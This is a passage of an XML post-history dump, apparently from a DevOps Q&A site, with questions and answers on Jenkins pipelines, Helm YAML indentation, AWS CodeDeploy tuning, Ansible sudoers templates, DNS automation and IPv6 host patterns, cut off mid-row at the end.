  <row Id="14752" PostHistoryTypeId="2" PostId="4704" RevisionGUID="ff3f0c76-0410-4370-8c23-d8a6d49720d4" CreationDate="2018-08-06T08:36:25.387" UserId="4175" Text="&gt; we now want to release faster&#xD;&#xA;&#xD;&#xA;And from your comment:&#xD;&#xA;&#xD;&#xA;&gt; Basically, since the artifacts depend on each other, we need to release them in the correct sequence. And since there's a lot of them, it takes some time.&#xD;&#xA;&#xD;&#xA;I think you're having an X/Y problem. Yes, versioning plays a role, but it seems like you would benefit from solving the source of your problem first, which is that you have to release something in the *correct sequence*; presumably you also have to release everything at the same time, with a large downtime of the whole system.&#xD;&#xA;&#xD;&#xA;Try to reach a state where you can release new versions of each artifact in arbitrary order. This basically means:&#xD;&#xA;&#xD;&#xA;* Employing some form of Dependency Injection (which is a big word, but can be something pretty simple, depending on how your software works). &#xD;&#xA;* You need to be able to have multiple versions of each artifact on the server at the same time, and to switch between them without much effort. That &quot;switch&quot; should be be on the side of the &quot;user&quot; of an artifact, not on the artifact itself, if you can do so at all. &#xD;&#xA;* Wherever you can, it also is great to be able to run multiple instances simultaneously (obviously this is restricted for data management stuff, databases and such).&#xD;&#xA;&#xD;&#xA;I'm not telling you how to do that or that it is easy - I don't know your architecture or technical constraints. But this should give you a general roadmap. &#xD;&#xA;&#xD;&#xA;When you have that capability in place (at least conceptionally), then you will be able to release smaller parts more often, and a little more independently. And - to answer your actual question - sticking with SemVer is then not the worst you can do." ContentLicense="CC BY-SA 4.0" />
  <row Id="14756" PostHistoryTypeId="2" PostId="4706" RevisionGUID="a05e79fb-296c-40c9-8857-8f0d2961b050" CreationDate="2018-08-06T10:43:43.520" UserId="8332" Text="I've just done this and so far it's working well for us. &#xD;&#xA;&#xD;&#xA;Basically we use a Jenkinsfile and retrieve the version from the POM  (which is using semantic versioning) and remove the snapshot. &#xD;&#xA;&#xD;&#xA;    stage('Build Docker Container') {&#xD;&#xA;            steps {&#xD;&#xA;                 script {&#xD;&#xA;                    pom = readMavenPom file: 'pom.xml'&#xD;&#xA;                    pom_version_snapshot = pom.version&#xD;&#xA;                &#xD;&#xA;                    version = pom_version_snapshot.split(&quot;-&quot;)[0]&#xD;&#xA;                    echo version&#xD;&#xA;&#xD;&#xA;                }&#xD;&#xA;                sh &quot;docker build -f 'Dockerfile' -t repo/container:${version}-${env.BRANCH_NAME} .&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;We then do a Docker build and use that version to tag the image, which is later deployed to a Kubernetes cluster. " ContentLicense="CC BY-SA 4.0" />
  <row Id="14757" PostHistoryTypeId="5" PostId="4461" RevisionGUID="9220815e-1bae-4c1b-b5d1-7e7e20b4dc31" CreationDate="2018-08-06T11:09:59.277" UserId="6375" Comment="Format content" Text="Getting weird YAML indentation with some conditional stuff. effectively I'm doing:&#xD;&#xA;&#xD;&#xA;    resources:&#xD;&#xA;    {{ toYaml .Values.resources | indent 10 }}&#xD;&#xA;    {{- if .Values.filebeat.enabled -}}&#xD;&#xA;          - name: elastic-logger&#xD;&#xA;&#xD;&#xA;But the final line is indented by 10, not 8 as it should be. in fact I can indent it by 0, 10, 100 - but it's always indented 10. any ideas? (edited)&#xD;&#xA;`.Values.resources` is for one container, and if `filebeat.enabled` then I'm adding another container to the array&#xD;&#xA;output:&#xD;&#xA;&#xD;&#xA;     resources:&#xD;&#xA;     {}&#xD;&#xA;        - name: elastic-logger" ContentLicense="CC BY-SA 4.0" />
  <row Id="14758" PostHistoryTypeId="4" PostId="4461" RevisionGUID="9220815e-1bae-4c1b-b5d1-7e7e20b4dc31" CreationDate="2018-08-06T11:09:59.277" UserId="6375" Comment="Format content" Text="Helm/ YAML indentation issue" ContentLicense="CC BY-SA 4.0" />
  <row Id="14759" PostHistoryTypeId="24" PostId="4461" RevisionGUID="9220815e-1bae-4c1b-b5d1-7e7e20b4dc31" CreationDate="2018-08-06T11:09:59.277" Comment="Proposed by 6375 approved by -1 edit id of 744" ContentLicense="CC BY-SA 4.0" />
  <row Id="14760" PostHistoryTypeId="5" PostId="4461" RevisionGUID="e8d3bc9d-3883-4aab-a87e-17558474f742" CreationDate="2018-08-06T11:09:59.277" UserId="40" Comment="added 4 characters in body" Text="I am etting weird YAML indentation with some conditional stuff, effectively I'm doing:&#xD;&#xA;&#xD;&#xA;    resources:&#xD;&#xA;    {{ toYaml .Values.resources | indent 10 }}&#xD;&#xA;    {{- if .Values.filebeat.enabled -}}&#xD;&#xA;          - name: elastic-logger&#xD;&#xA;&#xD;&#xA;But the final line is indented by 10, not 8 as it should be. in fact I can indent it by 0, 10, 100 - but it's always indented 10. any ideas? (edited)&#xD;&#xA;`.Values.resources` is for one container, and if `filebeat.enabled` then I'm adding another container to the array&#xD;&#xA;output:&#xD;&#xA;&#xD;&#xA;     resources:&#xD;&#xA;     {}&#xD;&#xA;        - name: elastic-logger" ContentLicense="CC BY-SA 4.0" />
  <row Id="14761" PostHistoryTypeId="5" PostId="4704" RevisionGUID="ce41d0ce-d381-4ce2-9726-a15e31e0d880" CreationDate="2018-08-06T13:40:46.523" UserId="707" Comment="added 58 characters in body" Text="&gt; we now want to release faster&#xD;&#xA;&#xD;&#xA;And from your comment:&#xD;&#xA;&#xD;&#xA;&gt; Basically, since the artifacts depend on each other, we need to release them in the correct sequence. And since there's a lot of them, it takes some time.&#xD;&#xA;&#xD;&#xA;I think you're having an [X/Y problem][1]. Yes, versioning plays a role, but it seems like you would benefit from solving the source of your problem first, which is that you have to release something in the *correct sequence*; presumably you also have to release everything at the same time, with a large downtime of the whole system.&#xD;&#xA;&#xD;&#xA;Try to reach a state where you can release new versions of each artifact in arbitrary order. This basically means:&#xD;&#xA;&#xD;&#xA;* Employing some form of Dependency Injection (which is a big word, but can be something pretty simple, depending on how your software works). &#xD;&#xA;* You need to be able to have multiple versions of each artifact on the server at the same time, and to switch between them without much effort. That &quot;switch&quot; should be be on the side of the &quot;user&quot; of an artifact, not on the artifact itself, if you can do so at all. &#xD;&#xA;* Wherever you can, it also is great to be able to run multiple instances simultaneously (obviously this is restricted for data management stuff, databases and such).&#xD;&#xA;&#xD;&#xA;I'm not telling you how to do that or that it is easy - I don't know your architecture or technical constraints. But this should give you a general roadmap. &#xD;&#xA;&#xD;&#xA;When you have that capability in place (at least conceptionally), then you will be able to release smaller parts more often, and a little more independently. And - to answer your actual question - sticking with SemVer is then not the worst you can do.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/XY_problem" ContentLicense="CC BY-SA 4.0" />
  <row Id="14762" PostHistoryTypeId="2" PostId="4707" RevisionGUID="9d7cfde9-9282-4369-a0cc-b2dc0929b4bf" CreationDate="2018-08-06T14:06:45.837" UserId="4997" Text="got this answer from aws support&#xD;&#xA;&#xD;&#xA;&gt; Hello, &#xD;&#xA;&gt; &#xD;&#xA;&gt; Andrew from AWS Support here.&#xD;&#xA;&gt; &#xD;&#xA;&gt; I understand that you would like to know if there is a way to speed up&#xD;&#xA;&gt; Code Deploy as currently it takes 7 minutes to complete. Please&#xD;&#xA;&gt; correct me if needed.&#xD;&#xA;&gt; &#xD;&#xA;&gt; After examining the link and the Code Deploy environment I can see&#xD;&#xA;&gt; that the step which involves rerouting traffic from the old instance&#xD;&#xA;&gt; to the new instance can potentially be tuned to try and decrease the&#xD;&#xA;&gt; overall deployment time. In addition, using a different deployment&#xD;&#xA;&gt; configuration may also help to decrease the deployment time.&#xD;&#xA;&gt; &#xD;&#xA;&gt; To try and reduce the time taken to perform a blue/green deployment&#xD;&#xA;&gt; edit the health check on the Elastic Load Balancer (ELB). Reduce the&#xD;&#xA;&gt; health check interval from 30 seconds to 5 seconds and reduce the&#xD;&#xA;&gt; response timeout from 20 seconds to the default of 5 seconds [1]. This&#xD;&#xA;&gt; should decrease the time it takes the ELB to check whether an instance&#xD;&#xA;&gt; is healthy and ready to receive traffic. &#xD;&#xA;&gt; &#xD;&#xA;&gt; Another setting that may also help decrease the time it takes to&#xD;&#xA;&gt; deploy is the deployment configuration, set the deployment&#xD;&#xA;&gt; configuration from the currently used &quot;one at a time&quot; to &quot;all at&#xD;&#xA;&gt; once&quot;. CodeDeploy &quot;all at once&quot; will at once attempt to deploy to as&#xD;&#xA;&gt; many instances as possible, the application status will be shown as&#xD;&#xA;&gt; succeeded if the application is deployed successfully to one or more&#xD;&#xA;&gt; of the instances. This configuration will also reroute all the traffic&#xD;&#xA;&gt; in the placement group to all instances at once and will succeed if&#xD;&#xA;&gt; the traffic is successfully routed to at least once instance [2]. &#xD;&#xA;&gt; &#xD;&#xA;&gt; To reduce this deployment from 7 to 1 minute will be high unlikely as&#xD;&#xA;&gt; EC2 launches are managed by CodeDeploy, there may be ways to improve&#xD;&#xA;&gt; to EC2 launch times manually but this is not the case when using&#xD;&#xA;&gt; CodeDeploy.   &#xD;&#xA;&gt; &#xD;&#xA;&gt; I hope you find this information useful, if you have any other&#xD;&#xA;&gt; questions or need clarification on anything above please let me know,&#xD;&#xA;&gt; I'd be happy to help&#xD;&#xA;&gt; &#xD;&#xA;&gt; Take care,&#xD;&#xA;&gt; &#xD;&#xA;&gt; References:  [1] Configure Health Checks for Your Classic Load&#xD;&#xA;&gt; Balancer - Health Check Configuration -&#xD;&#xA;&gt; https://docs.aws.amazon.com/elasticloadbalancing/latest/classic/elb-healthchecks.html#health-check-configuration&#xD;&#xA;&gt; &#xD;&#xA;&gt; [2] Working with Deployment Configurations in AWS CodeDeploy  -&#xD;&#xA;&gt; Predefined Deployment Configurations for an EC2/On-Premises Compute&#xD;&#xA;&gt; Platform  -&#xD;&#xA;&gt; https://docs.aws.amazon.com/codedeploy/latest/userguide/deployment-configurations.html#deployment-configurations-predefined&#xD;&#xA;&gt; &#xD;&#xA;&gt; Best regards,&#xD;&#xA;&gt; &#xD;&#xA;&gt; Andrew v. Amazon Web Services" ContentLicense="CC BY-SA 4.0" />
  <row Id="14763" PostHistoryTypeId="2" PostId="4708" RevisionGUID="3312f800-ef20-45b6-a58a-769fad3b7d7b" CreationDate="2018-08-06T14:32:00.850" UserId="8691" Text="There is a list of all the important paths Zabbix containers use: https://www.zabbix.com/documentation/3.0/manual/installation/containers &#xD;&#xA;(scroll down a bit until you find &quot;Volumes&quot; part). &#xD;&#xA;&#xD;&#xA;If I were you, instead of bind mounting these directories I would build a derivative image from the official Zabbix image and run statements like &quot;COPY my_alertscript.sh /var/lib/zabbix/alertscripts/&quot; in the build phase. &#xD;&#xA;&#xD;&#xA;If, for some reason, baking your changes to the image itself is not possible, then you may still want to prefer named volumes instead of bind mounting. See: https://docs.docker.com/storage/volumes/ to read about its advantages.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14764" PostHistoryTypeId="2" PostId="4709" RevisionGUID="a94a549d-dbdb-42db-bf8e-54907837524a" CreationDate="2018-08-07T05:17:32.063" UserId="6743" Text="I'm trying to set up Jenkins CI pipeline which will be used to build docker images. I have my auth key stored in Jenkins credentials and I want it to be loaded on start in placed in some environment variable (already done).&#xD;&#xA;&#xD;&#xA;Is it possible that Docker will read that environment variable and use the key for authenticating to my container registry?&#xD;&#xA;Or maybe I can pass it somehow via command line?&#xD;&#xA;&#xD;&#xA;I've tried searching for that in the docs, but only thing I found is that I can specify that values in `config.json` and specify the location of that. This is not the best option IMO.&#xD;&#xA;&#xD;&#xA;Any ideas? Thanks in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="14765" PostHistoryTypeId="1" PostId="4709" RevisionGUID="a94a549d-dbdb-42db-bf8e-54907837524a" CreationDate="2018-08-07T05:17:32.063" UserId="6743" Text="Set container registry auth key via command line/env variable" ContentLicense="CC BY-SA 4.0" />
  <row Id="14766" PostHistoryTypeId="3" PostId="4709" RevisionGUID="a94a549d-dbdb-42db-bf8e-54907837524a" CreationDate="2018-08-07T05:17:32.063" UserId="6743" Text="&lt;docker&gt;&lt;registry&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14767" PostHistoryTypeId="2" PostId="4710" RevisionGUID="4f729d9b-d492-4211-b11a-22bebd48c6fe" CreationDate="2018-08-07T10:39:05.240" UserId="9141" Text="Artifactory allows you to define a virtual repository which is a collection of local, remote and other virtual repositories accessed through a single logical URL.&#xD;&#xA;&#xD;&#xA;A virtual repository hides the access details of the underlying repositories letting users work with a single, well-known URL. The underlying participating repositories and their access rules may be changed without requiring any client-side changes." ContentLicense="CC BY-SA 4.0" />
  <row Id="14768" PostHistoryTypeId="2" PostId="4711" RevisionGUID="4bcdf791-e444-49c7-816b-dd5fcc7c4719" CreationDate="2018-08-07T12:32:07.383" UserId="9148" Text="Google has failed to even lead me to a proper answer as to why spaces are permitted in names of Jenkins parameters, let alone how to reference them. Assuming it's not just a major oversight, how does one access these parameters?&#xD;&#xA;&#xD;&#xA;For example, I have a string parameter named &quot;IP Address&quot;. I could rename it &quot;IP_Address&quot; but I'm trying to avoid the underscores_as_spaces if I can. &#xD;&#xA;&#xD;&#xA;I've tried to refer to this parameter using &quot;${IP Address}&quot;, &quot;IP Address&quot; and even &quot;IP\ Address&quot; but nothing seems to work. Is there any way to actually reference these?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14769" PostHistoryTypeId="1" PostId="4711" RevisionGUID="4bcdf791-e444-49c7-816b-dd5fcc7c4719" CreationDate="2018-08-07T12:32:07.383" UserId="9148" Text="In Jenkins, how can parameters that contain spaces be referenced?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14770" PostHistoryTypeId="3" PostId="4711" RevisionGUID="4bcdf791-e444-49c7-816b-dd5fcc7c4719" CreationDate="2018-08-07T12:32:07.383" UserId="9148" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14771" PostHistoryTypeId="2" PostId="4712" RevisionGUID="1b425021-667a-4490-8fec-4ecc3e6c909a" CreationDate="2018-08-07T14:43:14.077" UserId="8824" Text="You can use `params['IP Address']`.&#xD;&#xA;&#xD;&#xA;Think of `params` as a Map containing a key `'IP Address'`. If the key didn't have a space, then you could use `params.IPAddress` or `params['IPAddress']`, but when there's a space, you can only use the latter syntax.&#xD;&#xA;&#xD;&#xA;That syntax is also useful when you're computing the key name to look up, and have stored it in a variable:&#xD;&#xA;&#xD;&#xA;    final String myParam = &quot;param${i}&quot;&#xD;&#xA;    // can't say `params.myParam`&#xD;&#xA;    echo &quot;Value is ${params[myParam]}&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14772" PostHistoryTypeId="2" PostId="4713" RevisionGUID="b05be3b8-2084-421b-aa8e-7586e42b521c" CreationDate="2018-08-07T15:42:36.763" UserId="9151" Text="I used this post to get our Guard Duty alerts working, thanks!  But a recent change at AWS caused us to stop getting any alerts.  Turns out we needed to add the integer values along with floating point numbers. We used a CLI command like the following to do that:&#xD;&#xA;&#xD;&#xA; aws events put-rule --name Test --event-pattern &quot;{\&quot;source\&quot;:[\&quot;aws.guardduty\&quot;],\&quot;detail-type\&quot;:[\&quot;GuardDuty Finding\&quot;],\&quot;detail\&quot;:{\&quot;severity\&quot;:[7.0,7.1,7.2,7.3,7.4,7.5,7.6,7.7,7.8,7.9,8.0,8.1,8.2,8.3,8.4,8.5,8.6,8.7,8.8,8.9,7,8]}}&quot;&#xD;&#xA;&#xD;&#xA;Note the &quot;7&quot; and &quot;8&quot; at the end.  Alerts are working again." ContentLicense="CC BY-SA 4.0" />
  <row Id="14777" PostHistoryTypeId="2" PostId="4715" RevisionGUID="aca97cfa-3c3e-4d5d-8e8b-c39528b55b0d" CreationDate="2018-08-08T01:05:09.987" UserId="9079" Text="When I check for dotnet version it is throwing an error &#xD;&#xA; &#xD;&#xA;	D:\jenkins\workspace\csharp-windows-test&gt;dotnet --version &#xD;&#xA;	17:58:06 System.ArgumentNullException: Value cannot be null.&#xD;&#xA;	17:58:06 Parameter name: path1&#xD;&#xA;	17:58:06    at System.IO.Path.Combine(String path1, String path2)&#xD;&#xA;	17:58:06    at Microsoft.DotNet.Configurer.CliFolderPathCalculator.get_DotnetUserProfileFolderPath()&#xD;&#xA;	17:58:06    at Microsoft.DotNet.Configurer.FirstTimeUseNoticeSentinel..ctor(CliFolderPathCalculator cliFolderPathCalculator)&#xD;&#xA;	17:58:06    at Microsoft.DotNet.Cli.Program.ProcessArgs(String[] args, ITelemetry telemetryClient)&#xD;&#xA;	17:58:06    at Microsoft.DotNet.Cli.Program.Main(String[] args)&#xD;&#xA;	17:58:06 &#xD;&#xA;&#xD;&#xA;but when I search for 'where' it shows the location&#xD;&#xA;&#xD;&#xA;	17:58:06 D:\jenkins\workspace\csharp-windows-test&gt;where dotnet  &#xD;&#xA;	17:58:07 C:\Program Files\dotnet\dotnet.exe&#xD;&#xA;&#xD;&#xA;This is causing build failures. Can someone suggest a best way to resolve this &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14778" PostHistoryTypeId="1" PostId="4715" RevisionGUID="aca97cfa-3c3e-4d5d-8e8b-c39528b55b0d" CreationDate="2018-08-08T01:05:09.987" UserId="9079" Text="Jenkins slave not able to find dotnet" ContentLicense="CC BY-SA 4.0" />
  <row Id="14779" PostHistoryTypeId="3" PostId="4715" RevisionGUID="aca97cfa-3c3e-4d5d-8e8b-c39528b55b0d" CreationDate="2018-08-08T01:05:09.987" UserId="9079" Text="&lt;jenkins&gt;&lt;windows&gt;&lt;builds&gt;&lt;dotnet&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14780" PostHistoryTypeId="50" PostId="2481" RevisionGUID="15034c8a-58b3-4a39-9ae0-5aa428c587cf" CreationDate="2018-08-08T05:00:00.647" UserId="-1" />
  <row Id="14781" PostHistoryTypeId="50" PostId="3463" RevisionGUID="ff9b942c-9339-4a93-9daa-1fc84398ab34" CreationDate="2018-08-08T10:01:36.210" UserId="-1" />
  <row Id="14782" PostHistoryTypeId="2" PostId="4716" RevisionGUID="a2458eb3-ceea-4a89-9a49-59dc91ba4e52" CreationDate="2018-08-08T11:20:01.673" UserId="3785" Text="I am trying to create a sudoers file with ansible template. The sudoers file should look like below:&#xD;&#xA;&#xD;&#xA;    Cmnd_Alias LS = /bin/ls&#xD;&#xA;    Cmnd_Alias LESS = /usr/bin/less&#xD;&#xA;    Cmnd_Alias DU = /usr/bin/du&#xD;&#xA;&#xD;&#xA;    %support1 ALL=(ALL) NOPASSWD: LS, LESS, DU&#xD;&#xA;&#xD;&#xA;What I have managed so far is below:&#xD;&#xA;&#xD;&#xA;    Cmnd_Alias LS = ls&#xD;&#xA;    Cmnd_Alias LESS = less&#xD;&#xA;    Cmnd_Alias DU = du&#xD;&#xA;&#xD;&#xA;    %support1 ALL=(ALL) NOPASSWD: LS, LESS, DU&#xD;&#xA;&#xD;&#xA;The template looks like below:&#xD;&#xA;&#xD;&#xA;    {% for item in commands %}&#xD;&#xA;    Cmnd_Alias {{ item|upper }} = {{ item }}&#xD;&#xA;    {% endfor %}&#xD;&#xA;&#xD;&#xA;    %{{ group }} ALL=(ALL) NOPASSWD: {% for item in commands %}&#xD;&#xA;    {{ item|upper}}{% if not loop.last %}, {% endif %}&#xD;&#xA;    {% endfor %}&#xD;&#xA;&#xD;&#xA;vars&#xD;&#xA;&#xD;&#xA;    commands:&#xD;&#xA;      - ls&#xD;&#xA;      - less&#xD;&#xA;      - du&#xD;&#xA;&#xD;&#xA;As far as I know, ansible template module does not have anything which will execute the command in the remote server and print the output otherwise I was thinking of changing template file to look like below:&#xD;&#xA;&#xD;&#xA;    {% for item in commands %}&#xD;&#xA;    Cmnd_Alias {{ item|upper }} = `which {{ item }}`&#xD;&#xA;    {% endfor %}&#xD;&#xA;&#xD;&#xA;    %{{ group }} ALL=(ALL) NOPASSWD: {% for item in commands %}&#xD;&#xA;    {{ item|upper}}{% if not loop.last %}, {% endif %}    &#xD;&#xA;    {% endfor %}&#xD;&#xA;&#xD;&#xA;and the output will be like what I wanted.&#xD;&#xA;&#xD;&#xA;Is there any other method which can make it simple?&#xD;&#xA;&#xD;&#xA;BTW I have already checked this [post][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://unix.stackexchange.com/questions/349691/how-to-modify-sudoers-file-with-ansible/349712" ContentLicense="CC BY-SA 4.0" />
  <row Id="14783" PostHistoryTypeId="1" PostId="4716" RevisionGUID="a2458eb3-ceea-4a89-9a49-59dc91ba4e52" CreationDate="2018-08-08T11:20:01.673" UserId="3785" Text="Modify sudoers file with ansible playbook template" ContentLicense="CC BY-SA 4.0" />
  <row Id="14784" PostHistoryTypeId="3" PostId="4716" RevisionGUID="a2458eb3-ceea-4a89-9a49-59dc91ba4e52" CreationDate="2018-08-08T11:20:01.673" UserId="3785" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14785" PostHistoryTypeId="2" PostId="4717" RevisionGUID="efa57063-b8aa-4720-a278-3c71b50dcc00" CreationDate="2018-08-08T13:16:45.643" UserId="8845" Text=" buildEnv.inside(&quot;-u 0&quot;) {} resolve my problem but then the workspace will contains directory and files owned by root which can not be deleted by the user Jenkins at the next run when cleanning the workpace , so i have add  sh &quot;sudo chown jenkins: -R \$PWD/&quot;  at the beginning of the pipeline.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14786" PostHistoryTypeId="2" PostId="4718" RevisionGUID="5b97426e-f982-45f9-bd15-bc8a12963209" CreationDate="2018-08-08T14:01:05.170" UserId="192" Text="Today I manually update the DNS settings at the registrar for my domains, one of which is&#xD;&#xA;&#xD;&#xA;https://domains.google.com/registrar&#xD;&#xA;&#xD;&#xA;What are people using to automate updates to DNS settings ? Specifically I need to manually update fields such as&#xD;&#xA;&#xD;&#xA;- TXT field for the DKIM setting&#xD;&#xA;&#xD;&#xA;- TXT field for spf &#xD;&#xA;&#xD;&#xA;    @                  TXT          1m       &quot;v=spf1 ip4:100.22.22.100 include:blah.com -all&quot;&#xD;&#xA;- A record everytime I change external IP&#xD;&#xA;&#xD;&#xA;Is it possible to run my own DNS host servers ? that seems like overkill ... ideally I would just make some secure REST call to perform programmatic updates" ContentLicense="CC BY-SA 4.0" />
  <row Id="14787" PostHistoryTypeId="1" PostId="4718" RevisionGUID="5b97426e-f982-45f9-bd15-bc8a12963209" CreationDate="2018-08-08T14:01:05.170" UserId="192" Text="DNS hosting choices - how to programmatically update DNS settings" ContentLicense="CC BY-SA 4.0" />
  <row Id="14788" PostHistoryTypeId="3" PostId="4718" RevisionGUID="5b97426e-f982-45f9-bd15-bc8a12963209" CreationDate="2018-08-08T14:01:05.170" UserId="192" Text="&lt;dns&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14789" PostHistoryTypeId="5" PostId="4718" RevisionGUID="17c7243d-f7cf-48b9-b7ed-172f8faa8a20" CreationDate="2018-08-08T14:06:10.723" UserId="192" Comment="deleted 12 characters in body" Text="Today I manually update the DNS settings at the registrar for my domains, one of which is&#xD;&#xA;&#xD;&#xA;https://domains.google.com/registrar&#xD;&#xA;&#xD;&#xA;What are people using to automate updates to DNS settings ? Specifically I need to manually update : &#xD;&#xA;&#xD;&#xA;- TXT field for the DKIM setting&#xD;&#xA;&#xD;&#xA;- TXT field for spf &#xD;&#xA;&#xD;&#xA;    @                  TXT          1m       &quot;v=spf1 ip4:100.22.22.100 include:blah.com -all&quot;&#xD;&#xA;- A record everytime I change external IP&#xD;&#xA;&#xD;&#xA;To run my own DNS host servers seems like overkill ... ideally I would just make some secure REST call to perform programmatic updates" ContentLicense="CC BY-SA 4.0" />
  <row Id="14790" PostHistoryTypeId="5" PostId="1941" RevisionGUID="1f535f73-18bd-43ba-9570-77b4842597dc" CreationDate="2018-08-08T14:12:59.483" UserId="4233" Comment="deleted 21 characters in body" Text="I looked for that too but I don't think you can as these are the ports used by Google to do LB:&#xD;&#xA;&#xD;&#xA;&gt; HTTP requests can be load balanced based on port 80 or port 8080. HTTPS requests can be load balanced on port 443.&#xD;&#xA;&#xD;&#xA;&gt; TCP Proxy Load Balancing supports the following ports: 25, 43, 110, 143, 195, 443, 465, 587, 700, 993, 995, 1883, 5222&#xD;&#xA;&#xD;&#xA;From: [GCP HTTP(S) LB][1] and [GCP TCP LB][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/compute/docs/load-balancing/http/&#xD;&#xA;  [2]: https://cloud.google.com/load-balancing/docs/tcp/" ContentLicense="CC BY-SA 4.0" />
  <row Id="14791" PostHistoryTypeId="2" PostId="4719" RevisionGUID="0579e1fc-78e5-432d-8439-2be52a9a6092" CreationDate="2018-08-08T14:34:50.990" UserId="6619" Text="This blog post covers all of the methods:&#xD;&#xA;&#xD;&#xA;#### *excerpt - [Host names and patterns in Ansible 2][1]*&#xD;&#xA;&gt; ### Inventory hostnames&#xD;&#xA;Ansible 2 requires inventory hostnames to be valid IPv4/IPv6 addresses or hostnames (i.e., x.example.com or x, but not x..example.com or x--). As an extension, it accepts Unicode word characters in hostname labels. Any mistakes result in specific parsing errors, not mysterious failures during execution.&#xD;&#xA;&gt;&#xD;&#xA;Inventory hostnames may also use alphabetic or numeric ranges to define more than one host. For example, foo[1:3] defines foo1 through foo3, while foo[x:z:2] expands to fox and foz. Addresses may use numeric ranges: 192.0.2.[3:42].&#xD;&#xA;&gt;&#xD;&#xA;&gt;### IPv6 addresses&#xD;&#xA;A number of problems with the parsing of IPv6 addresses have also been fixed, and their behaviour has been made consistent across the inventory (.ini files) and in playbooks (e.g., in hosts: lines and with add_host).&#xD;&#xA;&gt;&#xD;&#xA;All of the recommended IPv6 address notations (from spelling out all 128 bits to the various compressed forms) are supported. Addresses with port numbers must be written as [addr]:port. One can also use hexadecimal ranges to define multiple hosts in inventory files, e.g. 9876::[a:f]:2.&#xD;&#xA;&gt;&#xD;&#xA;&gt;A couple of small but necessary bugfixes go hand-in-hand with the parsing changes, and fix problems with passing IPv6 addresses to ssh and to rsync. Taken together, these changes make it possible to use IPv6 in practice with Ansible.&#xD;&#xA;&#xD;&#xA;Therefore patterns such as this IPv6's would be allowed:&#xD;&#xA;&#xD;&#xA;- fully specified 128 bit address&#xD;&#xA;- [addr]:port&#xD;&#xA;- hexadecimal ranges - 9876::[a:f]:2&#xD;&#xA;- various forms of compressing ranges - FF01::[1:6]&#xD;&#xA;&#xD;&#xA;Simplified examples:&#xD;&#xA;&#xD;&#xA;    # IPv6 Address                                # Simplified Notation&#xD;&#xA;    -----------------------------------------     ----------------------------&#xD;&#xA;    - FF01:0000:0000:0000:0000:0000:0000:0001	  - FF01::1&#xD;&#xA;    - 2031:0000:130F:0000:0000:09C0:876A:130B	  - 2031:0:130F::9C0:876A:130B&#xD;&#xA;    - 0000:0000:0000:0000:0000:0000:0000:0001	  - ::1&#xD;&#xA;    - FE80:0000:0000:5EFE:0192.0168.0001.0123	  - FE80::5EFE:192.168.1.123&#xD;&#xA;    - FE80:0000:0000:0000:1585:4868:495F:D521	  - FE80::1585:4868:495F:D521&#xD;&#xA;&#xD;&#xA;  [1]: http://toroid.org/ansible-host-patterns" ContentLicense="CC BY-SA 4.0" />
  <row Id="14793" PostHistoryTypeId="5" PostId="4719" RevisionGUID="72f5dc7e-0f4b-464b-9b1a-a40ac9055f99" CreationDate="2018-08-08T14:47:37.990" UserId="6619" Comment="added 187 characters in body" Text="This blog post covers all of the methods:&#xD;&#xA;&#xD;&#xA;#### *excerpt - [Host names and patterns in Ansible 2][1]*&#xD;&#xA;&gt; ### Inventory hostnames&#xD;&#xA;Ansible 2 requires inventory hostnames to be valid IPv4/IPv6 addresses or hostnames (i.e., x.example.com or x, but not x..example.com or x--). As an extension, it accepts Unicode word characters in hostname labels. Any mistakes result in specific parsing errors, not mysterious failures during execution.&#xD;&#xA;&gt;&#xD;&#xA;Inventory hostnames may also use alphabetic or numeric ranges to define more than one host. For example, foo[1:3] defines foo1 through foo3, while foo[x:z:2] expands to fox and foz. Addresses may use numeric ranges: 192.0.2.[3:42].&#xD;&#xA;&gt;&#xD;&#xA;&gt;### IPv6 addresses&#xD;&#xA;A number of problems with the parsing of IPv6 addresses have also been fixed, and their behaviour has been made consistent across the inventory (.ini files) and in playbooks (e.g., in hosts: lines and with add_host).&#xD;&#xA;&gt;&#xD;&#xA;All of the recommended IPv6 address notations (from spelling out all 128 bits to the various compressed forms) are supported. Addresses with port numbers must be written as [addr]:port. One can also use hexadecimal ranges to define multiple hosts in inventory files, e.g. 9876::[a:f]:2.&#xD;&#xA;&gt;&#xD;&#xA;&gt;A couple of small but necessary bugfixes go hand-in-hand with the parsing changes, and fix problems with passing IPv6 addresses to ssh and to rsync. Taken together, these changes make it possible to use IPv6 in practice with Ansible.&#xD;&#xA;&#xD;&#xA;Therefore patterns such as this IPv6's would be allowed:&#xD;&#xA;&#xD;&#xA;- fully specified 128 bit address&#xD;&#xA;- [addr]:port&#xD;&#xA;- hexadecimal ranges - 9876::[a:f]:2&#xD;&#xA;- various forms of compressing ranges - FF01::[1:6]&#xD;&#xA;&#xD;&#xA;Simplified examples:&#xD;&#xA;&#xD;&#xA;    # IPv6 Address                                # Simplified Notation&#xD;&#xA;    -----------------------------------------     ----------------------------&#xD;&#xA;    - FF01:0000:0000:0000:0000:0000:0000:0001	  - FF01::1&#xD;&#xA;    - 2031:0000:130F:0000:0000:09C0:876A:130B	  - 2031:0:130F::9C0:876A:130B&#xD;&#xA;    - 0000:0000:0000:0000:0000:0000:0000:0001	  - ::1&#xD;&#xA;    - FE80:0000:0000:5EFE:0192.0168.0001.0123	  - FE80::5EFE:192.168.1.123&#xD;&#xA;    - FE80:0000:0000:0000:1585:4868:495F:D521	  - 